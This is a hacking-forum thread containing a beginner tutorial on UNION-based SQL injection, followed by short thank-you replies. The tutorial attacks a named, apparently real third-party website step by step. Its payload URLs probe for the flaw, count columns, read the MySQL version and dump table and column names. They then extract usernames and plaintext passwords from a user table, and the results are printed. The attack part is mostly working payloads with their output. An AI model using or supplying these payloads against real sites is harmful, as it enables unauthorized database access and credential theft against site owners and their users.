[Toturial] SQL Injection - FOR PEOPLE THAT HAVE NO IDEIA WHAT IT IS

[Toturial] SQL Injection - FOR PEOPLE THAT HAVE NO IDEIA WHAT IT IS - Printable Version

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[Toturial] SQL Injection - FOR PEOPLE THAT HAVE NO IDEIA WHAT IT IS - limainfinita - Oct 24, 2015

There are several types of SQLi.
the most comon ones are:
UNION Based SQL injection
String Based SQL injection
Error Based SQL injection
Double Query SQL injection
Blind SQL injection
MsSQL injection

This toturial will cover the: UNION Based SQL injection

1) How do I check if a website is vulnerable to SQLi?

So I got this site I want to test for SQL injection.

Code 
http://www.odinsravens.com

And I find this page:

Code 
http://www.odinsravens.com/bookmark/index.php?category=6

But if you look around, you got all this pages:

Code 
http://www.odinsravens.com/bookmark/index.php?category=23

http://www.odinsravens.com/bookmark/index.php?category=33

http://www.odinsravens.com/bookmark/index.php?category=44

http://www.odinsravens.com/bookmark/index.php?category=45

So i see the only diference in the url is the part: ?category=X
where X is a value.

And this works like this:
the user, gives the page a value for x, by clicking on the links on the site
the page, gives the value to the DataBase and asks for content
the datebase, recognizes the contenct associated with each value and gives the page the content
the page, displays the content to the user.

So, using ?category= we are comunicating with the DataBase.
Notice we can put the numbers manually, without clinking on the page's links.

So what happends in SQL injection is that it is possible for the user to inject SQL in the page, that will be transmited to the DataBase and executed, and we can see the output in the page.
This happends because the person who coded the page, didnt filtered the values that the ?category= can have. So ?category= will pass anything to the database to execute.

This is a super simple explaination on how and why this works.
For better details check the links at the end of the toturial.

So and how do we know if this ?category= is vulnerable to SQL Injetion?

We do this by puting a ' infront of the value of the parameter we want to test, like this:

Code 
http://www.odinsravens.com/bookmark/index.php?category=6'

and in this case it gives the output:

Code 
You have an error in your SQL syntax; check the manual that corresponds to your MySQL

So we now know it is vulnerable.
Because we changed the comand that was given to the Database just by adding and '

and the databese gave and error.
So now we know that using ?category= in this page of the website domain we can inject SQL in the Database of the Websites Server.

But we have several types of SQL injection.

Now to see if it is UNION Based or String Based SQL injection:

we do it like this:

Code 
http://www.odinsravens.com/bookmark/index.php?category=6' --+

If the (1) injection fixes the query (that is, if the page is being displayed as it is supposed to be), we are working with a "String Based Injection".
In some cases, the above query doesn't fix the query. If that is the case, we are working with a "Normal Union Based Injection"

and we can confirm it with:

Code 
http://www.odinsravens.com/bookmark/index.php?category=6 --

the page showd appear normal.
So it in this case we are working with a Normal Union Based Injection.

2) Counting Columns:

Now we need to count the number of column being queried by the page, we use an "ORDER BY" statement.

So we do it like this:

Code 
http://www.odinsravens.com/bookmark/index.php?category=6 ORDER BY X --

beeing X a number to check so wi we do:

Code 
http://www..odinsravens.com/bookmark/index.php?category=6 ORDER BY 10 --  it gives a error, so the number is lower.

but

Code 
http://www.odinsravens.com/bookmark/index.php?category=6 ORDER BY 9 --

doesnt give error so if it is this number of higher.

but remenber with 10 it gives no error. so in this case it is 9

It goes like this:

order by 50 - error (lower)
order by 5 - no error (that number or higher)
order by 6 - no error (that number or higher)
order by 10 - error (lower)
order by 9 - no error (so we know it is 9)

go it?

So now that we know the number of columns being queried by the page, we need to know which of the columns actually get printed out on to the page. For example, say 3 columns are being queried for and only two of them are being printed on to the page. So we inject into any of the column being printed. There is no point in injecting into a column which is not visible, as we have to see the DB's response to actually proceed in injecting.

3) Finding the Appropriate Columns to Inject to Inject Into:

If you have a normal union based injection, the payload becomes:

Code 
http://www.odinsravens.com/bookmark/index.php?category=-6 UNION SELECT 1,2,3,4,5,6,7,8,9 --

Code 
And has you can see, in the page the 2 and the 3 show up.

So those are the columns we are using to see the output of the injection.

4) check DB version (>5?)
The first thing to do while injecting is to check the version of MySQL. Use either @@version or version() for it. If the version is 5 or greater, our work will be much easier. This is because, in versions 5 and greater, MySQL has introduced information_schema which has the information about all the databases and tables. It makes our work a lot easier. If the version is lesser than 5, you will have to "guess" the table names which is a pain in the ass.

in this case we got 2 columns we can use so i will just use both to how you, like this:

Code 
http://www.odinsravens.com/bookmark/index.php?category=-6 UNION SELECT 1,@@version,version(),4,5,6,7,8,9 --

and the output is

Code 
5.6.25-log

5.6.25-log

one for each command.

So at this point you see how this works.
You just inject SQL correctly and th e output apears in the page

We now know the DB is version higher than 5.

5) Dumping Tables:
If you have a normal union based injection, the payload becomes:

Code 
http://www.odinsravens.com/bookmark/index.php?category=-6 UNION SELECT 1,group_concat(table_name, 0x0a),3,4,5,6,7,8,9 FROM information_schema.tables WHERE table_schema = database() --

the output is:

Code 
bookmark_category ,bookmark_link ,bookmark_link_category ,bookmark_user

NOTE:
group_concat(table_name, 0x0a) - it combines the table_name and 0x0a (it is hex code for space, just to make your dump look neat)
FROM information_schema.tables WHERE table_schema = database() - we are telling the database to retrieve table_name from information_schema.tables where table_schema is the current database.

6) Dumping Columns:
If you have a normal union based injection, the payload becomes:

Code 
http://www.example.com/index.php?id=-1 UNION SELECT 1,group_concat(column_name, 0x0a),3 FROM information_schema.columns WHERE table_name = [0xhex value of table name] --

So in this case we want the columns in table: bookmark_user

we hex bookmark_user and it becomes: 626f6f6b6d61726b5f75736572
Use this to convert text to hex: http://www.swingnote.com/tools/texttohex.php

Code 
http://www.odinsravens.com/bookmark/index.php?category=-6 UNION SELECT 1,group_concat(column_name, 0x0a),3,4,5,6,7,8,9 FROM information_schema.columns WHERE table_name=0x626f6f6b6d61726b5f75736572 --

the output is:

Code 
user ,password ,role

7) Getting Data from Columns

Code 
http://www.site.com/index.php?id=-X UNION SELECT N,group_concat("columnName,0x3a,columnName,0x0a) from "tablename"--

In this case:

Code 
http://www.odinsravens.com/bookmark/index.php?category=-6 UNION SELECT 1,group_concat(user,0x3a,password,0x0a),3,4,5,6,7,8,9 from bookmark_user--

and the output is:
USER:PASSWORD

Code 
cjones:caesar ,menagery:harold

PS: this only convers UNION Based SQL injection

so to other types or to more explained information about what sql injection is and how it works behind the scenes check out this links:

https://hackforums.net/showthread.php?tid=4776588
https://hackforums.net/showthread.php?tid=2008347

* - mrcih - Oct 25, 2015

Good Toturial , i will check now thank up

* - InternetG - Oct 25, 2015

Hey man, Its tutorial.
But looks good.

* - stylo_asif - Oct 25, 2015

Good tutorial i Like it Thanks

* - limainfinita - Oct 25, 2015

(Oct 25, 2015 06:02 AM)mrcih Wrote: Good Toturial , i will check now thank up

thank you, you welcome

(Oct 25, 2015 06:03 AM)InternetG Wrote: Hey man, Its tutorial.
But looks good.

oh lol my mystake xD
thank you

(Oct 25, 2015 06:10 AM)stylo_asif Wrote: Good tutorial i Like it Thanks

thank you glad you like it =)

* - Comedic - Oct 25, 2015

Pretty good beginner's guide, keep up the great work lad. 🤝

* - limainfinita - Oct 25, 2015

(Oct 25, 2015 05:04 PM)Comedic Wrote: Pretty good beginner's guide, keep up the great work lad. 🤝

ty sir =)

* - CubicMuffin - Oct 25, 2015

Can I just say I love how much rep you get for being the oldest (bar omni) user on HF. How did you even find out about this forums?

* - limainfinita - Oct 25, 2015

(Oct 25, 2015 06:23 PM)CubicMuffin Wrote: Can I just say I love how much rep you get for being the oldest (bar omni) user on HF. How did you even find out about this forums?

same way everyone else did i guess.. google xD

* - CyberError - Oct 31, 2015

Thx thx for sharing ;; really appreciated

* - comment_ - Sep 16, 2016

Good tutorial. Thanks for posting!

* - poliakov15 - Sep 17, 2016

Thanks bro i very like you technique off spread 2